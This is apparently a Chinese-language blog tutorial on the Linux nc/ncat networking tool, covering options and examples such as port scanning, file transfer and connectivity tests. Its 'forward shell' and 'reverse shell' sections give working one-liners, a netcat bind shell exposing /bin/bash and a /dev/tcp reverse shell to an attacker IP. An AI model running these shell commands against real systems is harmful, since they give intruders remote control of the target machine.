Linux命令篇 - nc(ncat) 命令

HOsystem發表於2022-12-27

nc (ncat)

Ncat is a feature-packed networking utility which reads and writes data across networks from the command line;

nc(ncat):Ncat是一個功能豐富的網路實用工具;支援埠監聽、遠端通訊、檔案傳輸、埠掃描、反向Shell、埠轉發功能;

格式:ncat [OPTIONS...] [hostname] [port]

常用引數:

OPTIONS 意義
-l 使用監聽模式,意味著nc被當作server,偵聽並接受連線,而非向其它地址發起連線
-p 設定本地主機使用的通訊埠
-s 設定本地主機送出資料包的IP地址
-u 使用UDP傳輸協議
-v 顯示指令執行過程
-w 設定等待連線的時間
-z 使用0輸入/輸出模式,只在掃描通訊埠時使用

ncnetcatncat區別:

  • nc與netcat是一個元件,ncat是nmap分支下的一個命令;
  • nc / ncat 在CentOS 上是同一個命令工具,是一個功能豐富的網路實用程式,可透過命令列在網路上讀寫資料;
  • 使用 ncat 時,儘量不要使用 nc,避免與 netcat 衝突;
  • 若安裝了ncat時,nc、netcat都成了ncat的alias,命令列裡輸入這三者都是一樣的;
  • netcatncat-z引數是不相等的;
  • 可透過rpm -qa|grep nc命令,檢視nc是指netcat還是ncat;
  • Ncat是在原始Netcat之上新增功能二次開發的另一款強大工具,也就是說Netcat有的功能Ncat都具備,並且Ncat還有更多強大的功能。

參考案例:

  • 掃描80埠
# nc可用ncat代替
$ nc -nvv 192.168.3.1 80
  • 遠端通訊
# ncat 命令在20000埠啟動了一個tcp 伺服器,所有的標準輸出和輸入會輸出到該埠;
# 輸出和輸入都在此shell中展示
Server$ nc -l 20000

Client$ nc Server-IP 20000
  • 檔案傳輸
# 從Client傳輸檔案到Server
# 需要在Server上使用nc監聽,server上執行監聽命令;
Server$ nc -lp 12345 >> test.log
# Client執行傳輸命令
Client$ nc -w 1 Server-IP 12345 < xxx.log

# 從Server傳輸檔案到Client
# 需要在Server上使用nc監聽,server上執行監聽命令;
Server$ nc -lp 12345 < test.log
# Client執行傳輸命令
Client$ nc -w 1 Server-IP 12345 > xxx.log
  • 目錄傳輸
# 從Client傳輸檔案到Server上;需要在Server上使用nc監聽,server上執行監聽命令;
# tar zxvf -  透過tar zxvf解壓,從管道接收到的資料,`-`表示從管道接收資料;
Server$ nc -l 23456|tar zxvf -

# tar zcvf -  透過tar zcvf壓縮,將目錄`Directory`壓縮後傳輸到管道中;`-`表示輸出到管道中;
Client$ tar zcvf - Directory | nc Server-IP 23456
  • 抓取Banner資訊
# 一旦發現開放的埠,可以容易的使用ncat 連線服務抓取他們的banner
$ nc -v 172.31.100.7 21
  • 正向Shell

正向shell是指攻擊機主動連線靶機,並取得shell。通俗點說就是靶機自己繫結某個埠,等攻擊機連線後將收到的資料給bash或cmd(後文簡稱shell),執行結果再丟給攻擊機。

# 正向shell是目標機(被攻擊方)先執行nc命令,然後攻擊機(攻擊方)上再進行nc連線,即可反彈shell
# 正向shell需要目標機安裝nc
# 正向shell 需要目標機firewalld可過濾


# target: 目標伺服器系統(被攻擊方)
target$ nc -lkvp 7777 -e /bin/bash

# attack: 攻擊者系統(攻擊方)
attack$ nc Target-IP 7777
  • 反向shell

反向shell就是靶機帶著shell來連攻擊機,好處顯而易見就是不用擔心防火牆的問題了,當然也不是沒有缺點;缺點就是攻擊機的IP必須能支援靶機的主動定址,換句話來說就是攻擊機需要有公網IP地址;舉個例子如攻擊機是內網ip或經過了NAT,靶機是公網IP,即使取得了命令執行許可權靶機也無法將shell彈過來,這是網路環境的問題。

# attack: 攻擊者系統(攻擊方)
# -k: 當客戶端從服務端斷開連線後,過一段時間服務端也會停止監聽;透過選項 -k 可以強制伺服器保持連線並繼續監聽埠;即使來自客戶端的連線斷了server也依然會處於待命狀態;
attack$ nc -lkvnp 6677

# target: 目標伺服器系統(被攻擊方)
# -i: 指定斷開的時候,單位為秒
Client$ sh -i >& /dev/tcp/192.168.188.69/6677 0>&1
  • 測試網速
# 服務端
Server$ nc -l <port> > /dev/null

# 客戶端
Client$ nc Server-IP <port> < /dev/zero
  • 測試連通性
# 測試tcp埠連通性
# nc -vz ip tcp-port
$ nc -zv 192.168.188.188 5432
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.188.188:5432.
Ncat: 0 bytes sent, 0 bytes received in 0.01 seconds.

# 測試udp埠連通性
# nc -uvz ip udp-port
$ nc -uzv 192.168.188.188 7899
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.188.188:7899.
Ncat: Connection refused.
  • 埠監聽
# 臨時監聽TCP埠
# nc -l port >> filename.out 將監聽內容輸入到filename.out檔案中
$ nc -l 7789 >> a.out

# 永久監聽TCP埠
# nc -lk port
$ nc -lk 7789 >> a.out

# 臨時監聽UDP
# nc -lu port
$ nc -lu 7789 >> a.out

# 永久監聽UDP
# nc -luk port
$ nc -luk 7789 >> a.out

相關文章